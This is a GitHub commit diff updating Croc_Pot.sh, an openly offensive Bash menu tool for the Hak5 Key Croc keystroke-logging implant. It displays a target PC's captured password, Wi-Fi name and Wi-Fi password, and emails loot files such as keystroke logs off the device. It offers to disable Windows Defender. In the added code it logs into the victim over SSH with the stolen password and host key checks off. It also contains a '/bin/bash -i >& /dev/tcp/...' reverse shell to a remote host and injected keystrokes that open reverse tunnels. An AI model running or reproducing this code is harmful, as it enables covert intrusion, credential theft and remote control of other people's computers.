Merge pull request #27 from spywill/patch-2

Update Croc_Pot.sh
pull/29/head
Darren Kitchen 2021-10-07 17:23:21 -05:00 committed by GitHub
commit c7928ab2df
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 84 additions and 76 deletions

View File

@ -5,7 +5,7 @@
# Description: Send E-mail, Status of keycroc, Basic Nmap, TCPdump, Install payload, # Description: Send E-mail, Status of keycroc, Basic Nmap, TCPdump, Install payload,
# SSH to HAK5 gear, Reverse ssh tunnel, and more # SSH to HAK5 gear, Reverse ssh tunnel, and more
# Author: Spywill # Author: Spywill
# Version: 1.5.5 # Version: 1.5.6
# Category: Key Croc # Category: Key Croc
## ##
## ##
@ -58,12 +58,14 @@ MenuColor() {
MenuEnd() { MenuEnd() {
echo -ne "\t\t\t\e[40;1m0${clear}${green}->${clear}\e[40;4;32mEXIT ${array[3]} ${clear} echo -ne "\t\t\t\e[40;1m0${clear}${green}->${clear}\e[40;4;32mEXIT ${array[3]} ${clear}
\t\t$(ColorBlue 'CHOOSE AN OPTION AND PRESS [ENTER]: ')" \t\t$(ColorBlue 'CHOOSE AN OPTION AND PRESS [ENTER]: ')"
unset m_a
read m_a
} }
Info_Screen() { Info_Screen() {
echo -ne "\n\e[48;5;202;30m${LINE}${clear}\n${yellow}${*}\n${clear}\e[48;5;202;30m${LINE}${clear}\n" echo -ne "\n\e[48;5;202;30m${LINE}${clear}\n${yellow}${*}\n\e[48;5;202;30m${LINE}${clear}\n"
} }
## ##
#----keycroc title #----Croc_Pot title function
## ##
function croc_title() { function croc_title() {
## ##
@ -86,22 +88,31 @@ if [ "$(OS_CHECK)" = LINUX ]; then
fi fi
} }
## ##
#----keycroc title display info #----Croc_Pot title display info
## ##
echo -ne "\n\n\e[41;38;5;232m${LINE}${clear} echo -ne "\n\n\e[41;38;5;232m${LINE}${clear}
${red}${LINE_A}${clear}\e[40m»${clear}${red}KEYCROC${clear}\e[40m-${clear}${red}HAK${clear}\e[40m${array[0]} ${clear}\e[40m«${clear}${red}---------${clear}\e[41;38;5;232m${array[1]}${clear}${yellow} $(hostname) IP: $(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-) $(internet_test) ${clear} ${red}${LINE_A}${clear}\e[40m»${clear}${red}KEYCROC${clear}\e[40m-${clear}${red}HAK${clear}\e[40m${array[0]} ${clear}\e[40m«${clear}${red}---------${clear}\e[41;38;5;232m${array[1]}${clear}${yellow} $(hostname) IP: $(ifconfig wlan0 | grep "inet addr" | awk {'print $2'} | cut -c 6-) $(internet_test) ${clear}
${red} DEVELOPED BY ${clear}\e[40mSPYWILL ${clear}\e[40m ${clear}\e[41;38;5;232m§${clear}${yellow} $(hostname) VER: $(cat /root/udisk/version.txt) *TARGET-PC:${green}$(OS_CHECK) $(FILL_IN)${clear} ${red} DEVELOPED BY ${clear}\e[40mSPYWILL ${clear}\e[40m ${clear}\e[41;38;5;232m§${clear}${yellow} $(hostname) VER: $(cat /root/udisk/version.txt) *TARGET-PC:${green}$(OS_CHECK) $(FILL_IN)${clear}
${red} DATE OF SCAN${clear}\e[40m $(date +%b-%d-%y---%r)${clear}\e[41;38;5;232mΩ${clear}${yellow} $(hostname) keyboard: $(sed -n 9p /root/udisk/config.txt) ${clear} ${red} DATE OF SCAN${clear}\e[40m $(date +%b-%d-%y---%r)${clear}\e[41;38;5;232mΩ${clear}${yellow} $(hostname) keyboard: $(sed -n 9p /root/udisk/config.txt) ${clear}
${red}${LINE_A}${clear}\e[40;92m»CROC_POT«${red}--${clear}${yellow}VER:1.5.5${red}---${clear}\e[41;38;5;232m${array[2]}${clear}${yellow} CPU TEMP:$(cat /sys/class/thermal/thermal_zone0/temp)°C USAGE:$(top -bn1 | grep "Cpu(s)" | sed "s/.*, *\([0-9.]*\)%* id.*/\1/" | awk '{print 100 - $1"%"}') MEM:$(free -m | awk 'NR==2{printf "%.2f%%", $3/$2*100 }') ${clear} ${red}${LINE_A}${clear}\e[40;92m»CROC_POT«${red}--${clear}${yellow}VER:1.5.6${red}---${clear}\e[41;38;5;232m${array[2]}${clear}${yellow} CPU TEMP:$(cat /sys/class/thermal/thermal_zone0/temp)°C USAGE:$(top -bn1 | grep "Cpu(s)" | sed "s/.*, *\([0-9.]*\)%* id.*/\1/" | awk '{print 100 - $1"%"}') MEM:$(free -m | awk 'NR==2{printf "%.2f%%", $3/$2*100 }') ${clear}
\e[41;38;5;232m${LINE}${clear}\n\n" \e[41;38;5;232m${LINE}${clear}\n\n"
} }
##
#----Croc_Pot title for loot
##
function croc_title_loot() { function croc_title_loot() {
echo -ne "\n${LINE}\n\t${LINE_A}>KEYCROC-HAK5<${LINE_A}\n\t\tDEVELOPED BY SPYWILL\n\t\tDATE OF SCAN-$(date +%b-%d-%y---%r)\n\t${LINE_A}>CROC_POT<${LINE_A}\n${LINE}\n\n" echo -ne "\n${LINE}\n\t${LINE_A}>KEYCROC-HAK5<${LINE_A}\n\t\tDEVELOPED BY SPYWILL\n\t\tDATE OF SCAN-$(date +%b-%d-%y---%r)\n\t${LINE_A}>CROC_POT<${LINE_A}\n${LINE}\n\n"
} }
##
#----Croc_Pot invalid entry
##
function invalid_entry() { function invalid_entry() {
LED R LED R
echo -ne "\n\t${LINE_}\e[5m$(ColorRed 'INVALID ENTRY PLEASE TRY AGAIN')${LINE_}\n" echo -ne "\n\t${LINE_}\e[5m$(ColorRed 'INVALID ENTRY PLEASE TRY AGAIN')${LINE_}\n"
} }
##
#----read user input
##
function read_all() { function read_all() {
unset r_a unset r_a
echo -ne "${blue}${*}:${clear}"; read r_a echo -ne "${blue}${*}:${clear}"; read r_a
@ -256,8 +267,6 @@ MenuColor 8 PERSONAL SCAN ; echo -ne " ${clear}\n"
MenuColor 9 TARGET PC SCAN ; echo -ne " ${clear}\n" MenuColor 9 TARGET PC SCAN ; echo -ne " ${clear}\n"
MenuColor 10 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 10 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) regular_scan ; nmap_menu ;; 1) regular_scan ; nmap_menu ;;
2) quick_scan ; nmap_menu ;; 2) quick_scan ; nmap_menu ;;
@ -290,8 +299,6 @@ echo -ne "\t\t" ; MenuColor 6 DPKG LOG | tr -d '\t' ; echo -ne " ${clear}" ;
echo -ne "\t\t" ; MenuColor 7 NTPSTATS LOG | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 14 KEYSTROKES LOG | tr -d '\t' ; echo -ne " ${clear}\n" echo -ne "\t\t" ; MenuColor 7 NTPSTATS LOG | tr -d '\t' ; echo -ne " ${clear}" ; MenuColor 14 KEYSTROKES LOG | tr -d '\t' ; echo -ne " ${clear}\n"
MenuColor 15 RETURN TO MAIN MENU ; echo -ne "${clear}\n" MenuColor 15 RETURN TO MAIN MENU ; echo -ne "${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}MESSAGES_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/messages | tee -a ${LOOT_LOG} ; croc_logs_mean ;; 1) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}MESSAGES_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/messages | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
2) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}KERNEL_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/kern.log | tee -a ${LOOT_LOG} ; croc_logs_mean ;; 2) croc_title_loot | tee ${LOOT_LOG} ; echo -e "\t${LINE_}KERNEL_LOG${LINE_}\n" | tee -a ${LOOT_LOG} ; cat /var/log/kern.log | tee -a ${LOOT_LOG} ; croc_logs_mean ;;
@ -333,8 +340,6 @@ MenuColor 1 GMAIL ; echo -ne " ${clear}\n"
MenuColor 2 OUTLOOK ; echo -ne " ${clear}\n" MenuColor 2 OUTLOOK ; echo -ne " ${clear}\n"
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) local GMAIL=smtp.gmail.com ; echo ${GMAIL} >> ${USER_CR} ;; 1) local GMAIL=smtp.gmail.com ; echo ${GMAIL} >> ${USER_CR} ;;
2) local OUTLOOK=smtp-mail.outlook.com ; echo ${OUTLOOK} >> ${USER_CR} ;; 2) local OUTLOOK=smtp-mail.outlook.com ; echo ${OUTLOOK} >> ${USER_CR} ;;
@ -402,7 +407,7 @@ if [ -e "${1}" ]; then
python_v python_v
echo -ne "$(ColorGreen 'THIS FILE') ${1} $(ColorGreen 'WILL BE SENT \nTO THIS E-MAIL') $(sed -n 4p ${USER_CR})" echo -ne "$(ColorGreen 'THIS FILE') ${1} $(ColorGreen 'WILL BE SENT \nTO THIS E-MAIL') $(sed -n 4p ${USER_CR})"
else else
echo -ne "\n${LINE_}\e[40;31;4;5mPLEASE RUN AN ${3} ${4} FIRST STARTING ${3} ${4}${clear}${LINE_}\n" echo -ne "\n${LINE_}\e[40;31;4;5mPLEASE RUN AN ${@:3:4} FIRST STARTING ${@:3:4}${clear}${LINE_}\n"
${5} ${5}
fi fi
} }
@ -446,8 +451,6 @@ MenuColor 5 ADD ATTACHMENT ; echo -ne " ${clear}\n"
MenuColor 6 KEYSTORKES LOG ; echo -ne " ${clear}\n" MenuColor 6 KEYSTORKES LOG ; echo -ne " ${clear}\n"
MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) send_all_file /root/udisk/loot/Croc_Pot/KeyCroc_NMAP.txt B NMAP SCAN nmap_menu ;; 1) send_all_file /root/udisk/loot/Croc_Pot/KeyCroc_NMAP.txt B NMAP SCAN nmap_menu ;;
2) send_all_file /root/udisk/loot/Croc_Pot/KeyCroc_LOG.txt C KEYCROC LOG croc_logs_mean ;; 2) send_all_file /root/udisk/loot/Croc_Pot/KeyCroc_LOG.txt C KEYCROC LOG croc_logs_mean ;;
@ -573,8 +576,6 @@ MenuColor 4 SCAN CURRENT NETWORK INTERFACE ; echo -ne " ${clear}\n"
MenuColor 5 ENTER AN TCPDUMP SCAN ; echo -ne " ${clear}\n" MenuColor 5 ENTER AN TCPDUMP SCAN ; echo -ne " ${clear}\n"
MenuColor 6 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 6 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) interface_tcpdump ; tcpdump_scan ;; 1) interface_tcpdump ; tcpdump_scan ;;
2) hex_ascII_tcpdump ; tcpdump_scan ;; 2) hex_ascII_tcpdump ; tcpdump_scan ;;
@ -840,8 +841,6 @@ MenuColor 5 EDIT .OVPN FILE ; echo -ne " ${clear}\n"
MenuColor 6 REMOVE VPN FILES ; echo -ne " ${clear}\n" MenuColor 6 REMOVE VPN FILES ; echo -ne " ${clear}\n"
MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 7 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) setup_vpn ; croc_vpn ;; 1) setup_vpn ; croc_vpn ;;
2) openvpn --config ${vpn_file_A} --daemon ; echo -ne "\n$(ColorGreen 'ENABLE VPN CHECK VPN STATUS')\n" ; croc_vpn ;; 2) openvpn --config ${vpn_file_A} --daemon ; echo -ne "\n$(ColorGreen 'ENABLE VPN CHECK VPN STATUS')\n" ; croc_vpn ;;
@ -3360,8 +3359,6 @@ MenuColor 3 SNAKE ; echo -ne " ${clear}\n"
MenuColor 4 MATRIX ; echo -ne " ${clear}\n" MenuColor 4 MATRIX ; echo -ne " ${clear}\n"
MenuColor 5 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 5 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) chess_game ; pass_time ;; 1) chess_game ; pass_time ;;
2) tetris_game ; pass_time ;; 2) tetris_game ; pass_time ;;
@ -3438,8 +3435,6 @@ MenuColor 1 ENABLE WINDOWS DEFENDER ; echo -ne " ${clear}\n"
MenuColor 2 DISENABLE WINDOWS DEFENDER ; echo -ne " ${clear}\n" MenuColor 2 DISENABLE WINDOWS DEFENDER ; echo -ne " ${clear}\n"
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) defender_enable ; croc_pot_plus ;; 1) defender_enable ; croc_pot_plus ;;
2) defender_disenable ; croc_pot_plus ;; 2) defender_disenable ; croc_pot_plus ;;
@ -3793,8 +3788,6 @@ MenuColor 4 QUICK START CROC_POT ; echo -ne " ${clear}\n"
MenuColor 5 CROCSHOT PAYLOAD ; echo -ne " ${clear}\n" MenuColor 5 CROCSHOT PAYLOAD ; echo -ne " ${clear}\n"
MenuColor 6 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 6 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) get_online_p ; install_payloads ;; 1) get_online_p ; install_payloads ;;
2) croc_unlock_p ; install_payloads ;; 2) croc_unlock_p ; install_payloads ;;
@ -3822,8 +3815,6 @@ MenuColor 7 WINDOWS DEFENDER ; echo -ne " ${clear}\n"
MenuColor 8 INSTALL PAYLOADS ; echo -ne " ${clear}\n" MenuColor 8 INSTALL PAYLOADS ; echo -ne " ${clear}\n"
MenuColor 9 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 9 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) tcpdump_scan ; menu_B ;; 1) tcpdump_scan ; menu_B ;;
2) keystorkes_laptop ; menu_B ;; 2) keystorkes_laptop ; menu_B ;;
@ -3903,21 +3894,21 @@ pc_info() {
local CROC_OS=/root/udisk/tools/Croc_Pot/Croc_OS.txt local CROC_OS=/root/udisk/tools/Croc_Pot/Croc_OS.txt
local CROC_OS_TARGET=/root/udisk/tools/Croc_Pot/Croc_OS_Target.txt local CROC_OS_TARGET=/root/udisk/tools/Croc_Pot/Croc_OS_Target.txt
if [ "$(OS_CHECK)" = WINDOWS ]; then if [ "$(OS_CHECK)" = WINDOWS ]; then
echo -ne "\n$(ColorYellow 'KeyCroc is pluged into:') $(OS_CHECK) echo -ne "\n$(ColorYellow 'KeyCroc is pluged into:')${green} $(OS_CHECK)
$(ColorYellow 'Target PC Host name:') $(sed -n 3p ${CROC_OS}) $(ColorYellow 'Target PC Host name:')${green} $(sed -n 3p ${CROC_OS})
$(ColorYellow 'Target PC Passwd:') $(target_pw) $(ColorYellow 'Target PC Passwd:')${green} $(target_pw)
$(ColorYellow 'Target Pc user name:') $(sed -n 1p ${CROC_OS_TARGET}) $(ColorYellow 'Target Pc user name:')${green} $(sed -n 1p ${CROC_OS_TARGET})
$(ColorYellow 'Target Pc IP:') $(sed '2,6!d' ${CROC_OS_TARGET}) $(ColorYellow 'Target Pc IP:')${green} $(sed '2,6!d' ${CROC_OS_TARGET})
$(ColorYellow 'Target Pc SSID + PASSWD and MAC address:') $(ColorYellow 'Target Pc SSID + PASSWD and MAC address:')${green}
$(sed '9,24!d' ${CROC_OS_TARGET})\n" $(sed '9,24!d' ${CROC_OS_TARGET})\n"
elif [ "$(OS_CHECK)" = LINUX ]; then elif [ "$(OS_CHECK)" = LINUX ]; then
echo -ne "\n$(ColorYellow 'KeyCroc is pluged into:') $(OS_CHECK) echo -ne "\n$(ColorYellow 'KeyCroc is pluged into:')${green} $(OS_CHECK)
$(ColorYellow 'Target PC Host name:') $(sed -n 3p ${CROC_OS}) $(ColorYellow 'Target PC Host name:')${green} $(sed -n 3p ${CROC_OS})
$(ColorYellow 'Target PC Passwd:') $(target_pw) $(ColorYellow 'Target PC Passwd:')${green} $(target_pw)
$(ColorYellow 'Target Pc user name:') $(sed -n 1p ${CROC_OS_TARGET}) $(ColorYellow 'Target Pc user name:')${green} $(sed -n 1p ${CROC_OS_TARGET})
$(ColorYellow 'Target Pc IP:') $(sed -n '2,3p' ${CROC_OS_TARGET}) $(ColorYellow 'Target Pc IP:')${green} $(sed -n '2,3p' ${CROC_OS_TARGET})
$(ColorYellow 'Target Pc SSID + PASSWD and MAC address:') $(ColorYellow 'Target Pc SSID + PASSWD and MAC address:')${green}
$(sed '4,20!d' ${CROC_OS_TARGET})\n" $(sed '4,20!d' ${CROC_OS_TARGET})${clear}\n"
else else
echo -ne "$(ColorRed 'PLEASE RUN CROC_POT PAYLOAD TO GET TARGET PC USER NAME AND IP')" echo -ne "$(ColorRed 'PLEASE RUN CROC_POT PAYLOAD TO GET TARGET PC USER NAME AND IP')"
fi fi
@ -4001,8 +3992,6 @@ MenuColor 9 START NMON MONITORING ; echo -ne " ${clear}\n"
MenuColor 10 LIST MATCH PAYLOADS WORDS ; echo -ne " ${clear}\n" MenuColor 10 LIST MATCH PAYLOADS WORDS ; echo -ne " ${clear}\n"
MenuColor 11 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 11 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) memory_check ; menu_A ;; 1) memory_check ; menu_A ;;
2) cpu_check ; menu_A ;; 2) cpu_check ; menu_A ;;
@ -4123,8 +4112,6 @@ MenuColor 2 REMOVE MIDNIGHT COMMANDER ; echo -ne " ${clear}\n"
MenuColor 3 START MIDNIGHT COMMANDER ; echo -ne " ${clear}\n" MenuColor 3 START MIDNIGHT COMMANDER ; echo -ne " ${clear}\n"
MenuColor 4 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 4 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) mc_install ; midnight_manager ;; 1) mc_install ; midnight_manager ;;
2) mc_remove ; midnight_manager ;; 2) mc_remove ; midnight_manager ;;
@ -4229,8 +4216,6 @@ MenuColor 10 MIDNIGHT MANAGER ; echo -ne " ${clear}\n"
MenuColor 11 QUACK COMMAND ; echo -ne " ${clear}\n" MenuColor 11 QUACK COMMAND ; echo -ne " ${clear}\n"
MenuColor 12 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 12 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) edit_all /root/udisk/payloads ; croc_edit_menu ;; 1) edit_all /root/udisk/payloads ; croc_edit_menu ;;
2) edit_all /root/udisk/tools ; croc_edit_menu ;; 2) edit_all /root/udisk/tools ; croc_edit_menu ;;
@ -4254,6 +4239,21 @@ MenuEnd
function ssh_menu() { function ssh_menu() {
LED B LED B
clear clear
##
#----SSH Install sshpass
##
local status="$(dpkg-query -W --showformat='${db:Status-Status}' "sshpass" 2>&1)"
if [ ! $? = 0 ] || [ ! "$status" = installed ]; then
read_all INSTALL SSHPASS Y/N AND PRESS [ENTER]
case $r_a in
[yY] | [yY][eE][sS])
apt install sshpass ;;
[nN] | [nN][oO])
echo -ne "\n$(ColorYellow 'Maybe next time')\n" ;;
*)
invalid_entry ; ssh_menu ;;
esac
fi
# #
# Validate IP v4 or v6 address and start ssh to hak5 device # Validate IP v4 or v6 address and start ssh to hak5 device
# #
@ -4364,7 +4364,11 @@ start_ssh() {
echo -ne "\t$(ColorYellow 'Target PC user name:') $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt) echo -ne "\t$(ColorYellow 'Target PC user name:') $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)
\t$(ColorYellow 'Target PC IP:') $(os_ip) \t$(ColorYellow 'Target PC IP:') $(os_ip)
\t$(ColorGreen 'Starting SSH with Target PC')\n" \t$(ColorGreen 'Starting SSH with Target PC')\n"
ssh $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@$(os_ip) if [ -e "/root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered" ]; then
sshpass -p $(target_pw) ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@$(os_ip)
else
ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@$(os_ip)
fi
} }
case $(OS_CHECK) in case $(OS_CHECK) in
WINDOWS) WINDOWS)
@ -4386,7 +4390,7 @@ fi
userinput_ssh() { userinput_ssh() {
echo -ne "$(ColorBlue 'ENTER THE HOST/USER NAME FOR SSH AND PRESS [ENTER]:')"; read SSH_USER echo -ne "$(ColorBlue 'ENTER THE HOST/USER NAME FOR SSH AND PRESS [ENTER]:')"; read SSH_USER
echo -ne "$(ColorBlue 'ENTER THE IP FOR SSH AND PRESS [ENTER]:')"; read SSH_IP echo -ne "$(ColorBlue 'ENTER THE IP FOR SSH AND PRESS [ENTER]:')"; read SSH_IP
ssh ${SSH_USER}@${SSH_IP} ssh -o "StrictHostKeyChecking no" ${SSH_USER}@${SSH_IP}
} }
## ##
#----SSH to wifi pineapple #----SSH to wifi pineapple
@ -4466,8 +4470,6 @@ MenuColor 1 SSH PINEAPPLE ; echo -ne " ${clear}\n"
MenuColor 2 PINEAPPLE WEB ; echo -ne " ${clear}\n" MenuColor 2 PINEAPPLE WEB ; echo -ne " ${clear}\n"
MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 3 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) ssh_shell ; ssh_menu ;; 1) ssh_shell ; ssh_menu ;;
2) pine_web ; ssh_menu ;; 2) pine_web ; ssh_menu ;;
@ -4653,6 +4655,12 @@ ssh_keygen() {
## ##
croc_reverse_shell() { croc_reverse_shell() {
clear clear
echo -ne "$(Info_Screen '# 1 Start reverse shell with nc start listening on remote host first
# 2 Start listening on the keycroc
# 3 Create payload to start reverse shell to your remote-server
# 4 Start reverse ssh tunnel to target pc
# 5 Start reverse ssh tunnel to your remote-server
# 6 Send remote commands with ssh')\n\n"
shell_input() { shell_input() {
unset IP_RS IP_RSP IP_RSN unset IP_RS IP_RSP IP_RSN
rm /root/udisk/tools/Croc_Pot/saved_shell.txt rm /root/udisk/tools/Croc_Pot/saved_shell.txt
@ -4681,11 +4689,11 @@ remote_listener() {
read_all Found saved shell setup use them Y/N AND PRESS [ENTER] read_all Found saved shell setup use them Y/N AND PRESS [ENTER]
case $r_a in case $r_a in
[yY] | [yY][eE][sS]) [yY] | [yY][eE][sS])
echo -ne "\n${yellow}LISTENING SERVER SETUP ${green}mnc -lnvp $(sed -n 2p ${SAVE_SHELL}) -s $(sed -n 1p ${SAVE_SHELL})${clear}\n" echo -ne "\n${yellow}LISTENING SERVER SETUP ${green}nc -lnvp $(sed -n 2p ${SAVE_SHELL}) -s $(sed -n 1p ${SAVE_SHELL})${clear}\n"
/bin/bash -i >& /dev/tcp/$(sed -n 1p ${SAVE_SHELL})/$(sed -n 2p ${SAVE_SHELL}) 0>&1 & ;; /bin/bash -i >& /dev/tcp/$(sed -n 1p ${SAVE_SHELL})/$(sed -n 2p ${SAVE_SHELL}) 0>&1 & ;;
[nN] | [nN][oO]) [nN] | [nN][oO])
shell_input shell_input
echo -ne "\n${yellow}LISTENING SERVER SETUP ${green}mnc -lnvp ${IP_RSP} -s ${IP_RS}${clear}\n" echo -ne "\n${yellow}LISTENING SERVER SETUP ${green}nc -lnvp ${IP_RSP} -s ${IP_RS}${clear}\n"
/bin/bash -i >& /dev/tcp/${IP_RS}/${IP_RSP} 0>&1 & ;; /bin/bash -i >& /dev/tcp/${IP_RS}/${IP_RSP} 0>&1 & ;;
*) *)
invalid_entry ; croc_reverse_shell ;; invalid_entry ; croc_reverse_shell ;;
@ -4773,6 +4781,13 @@ shell_pc() {
-Keycroc side will be setup with this below -Keycroc side will be setup with this below
-\e[40;32mssh PC-username@localhost -p port#\e[0m')\n\n" -\e[40;32mssh PC-username@localhost -p port#\e[0m')\n\n"
echo -ne "$(ColorYellow 'Found save Passwd try this:') $(target_pw)\n" echo -ne "$(ColorYellow 'Found save Passwd try this:') $(target_pw)\n"
start_shell() {
if [ -e "/root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered" ]; then
sshpass -p $(target_pw) ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a}
else
ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a}
fi
}
if [ -e "/root/udisk/tools/Croc_Pot/Croc_OS_Target.txt" ]; then if [ -e "/root/udisk/tools/Croc_Pot/Croc_OS_Target.txt" ]; then
read_all START REVERSE SSH TUNNEL TARGET PC TO KEYCROC Y/N AND PRESS [ENTER] read_all START REVERSE SSH TUNNEL TARGET PC TO KEYCROC Y/N AND PRESS [ENTER]
case $r_a in case $r_a in
@ -4792,7 +4807,7 @@ if [ -e "/root/udisk/tools/Croc_Pot/Croc_OS_Target.txt" ]; then
Q ENTER Q ENTER
sleep 1 sleep 1
Q ALT-TAB Q ALT-TAB
ssh $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a} start_shell
else else
case $HOST_CHECK in case $HOST_CHECK in
raspberrypi) raspberrypi)
@ -4808,7 +4823,7 @@ else
Q STRING "exit" Q STRING "exit"
Q ENTER Q ENTER
Q ALT-TAB Q ALT-TAB
ssh $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a} ;; start_shell ;;
parrot) parrot)
Q ALT F2 Q ALT F2
sleep 1 sleep 1
@ -4821,7 +4836,7 @@ else
Q STRING "exit" Q STRING "exit"
Q ENTER Q ENTER
Q ALT-TAB Q ALT-TAB
ssh $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a} ;; start_shell ;;
*) *)
Q ALT F2 Q ALT F2
sleep 1 sleep 1
@ -4834,7 +4849,7 @@ else
Q STRING "exit" Q STRING "exit"
Q ENTER Q ENTER
Q ALT-TAB Q ALT-TAB
ssh $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@localhost -p ${r_a} ;; start_shell ;;
esac esac
fi ;; fi ;;
[nN] | [nN][oO]) [nN] | [nN][oO])
@ -4912,6 +4927,16 @@ input_command() {
ssh ${USERNAME_COMMAND}@${IP_COMMAND} ${USER_COMMAND} ssh ${USERNAME_COMMAND}@${IP_COMMAND} ${USER_COMMAND}
sleep 5 sleep 5
} }
pc_target_command() {
echo -ne "$(ColorBlue 'ENTER COMMAND AND PRESS [ENTER]'): "; read USER_COMMAND
if [ -e "/root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered" ]; then
sshpass -p $(target_pw) ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@$(os_ip) ${USER_COMMAND}
sleep 5
else
ssh -o "StrictHostKeyChecking no" $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)@$(os_ip) ${USER_COMMAND}
sleep 5
fi
}
command_menu() { command_menu() {
read_all EXECUTE REMOTE COMMAND OVER SSH Y/N AND PRESS [ENTER] read_all EXECUTE REMOTE COMMAND OVER SSH Y/N AND PRESS [ENTER]
case $r_a in case $r_a in
@ -4927,10 +4952,8 @@ MenuColor 6 REMOTE COMMAND TO SHARK ; echo -ne " ${clear}\n"
MenuColor 7 REMOTE COMMAND TO BUNNY ; echo -ne " ${clear}\n" MenuColor 7 REMOTE COMMAND TO BUNNY ; echo -ne " ${clear}\n"
MenuColor 8 RETURN TO MAIN MENU ; echo -ne " ${clear}\n" MenuColor 8 RETURN TO MAIN MENU ; echo -ne " ${clear}\n"
MenuEnd MenuEnd
unset m_a
read m_a
case $m_a in case $m_a in
1) target_command $(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt) $(os_ip) ; command_menu ;; 1) pc_target_command ; command_menu ;;
2) input_command ; command_menu ;; 2) input_command ; command_menu ;;
3) target_command root 172.16.42.1 ; command_menu ;; 3) target_command root 172.16.42.1 ; command_menu ;;
4) target_command root 172.16.32.1 ; command_menu ;; 4) target_command root 172.16.32.1 ; command_menu ;;
@ -4942,7 +4965,7 @@ MenuEnd
*) invalid_entry ; remote_command ;; *) invalid_entry ; remote_command ;;
esac ;; esac ;;
[nN] | [nN][oO]) [nN] | [nN][oO])
echo -ne "\n\e[40m$(ColorYellow 'Maybe next time')\n" ;; echo -ne "\n$(ColorYellow 'Maybe next time')\n" ;;
*) *)
invalid_entry ; command_menu ;; invalid_entry ; command_menu ;;
esac esac
@ -4961,8 +4984,6 @@ MenuColor 5 REVERSE SSH TUNNEL ; echo -ne " ${clear}\n"
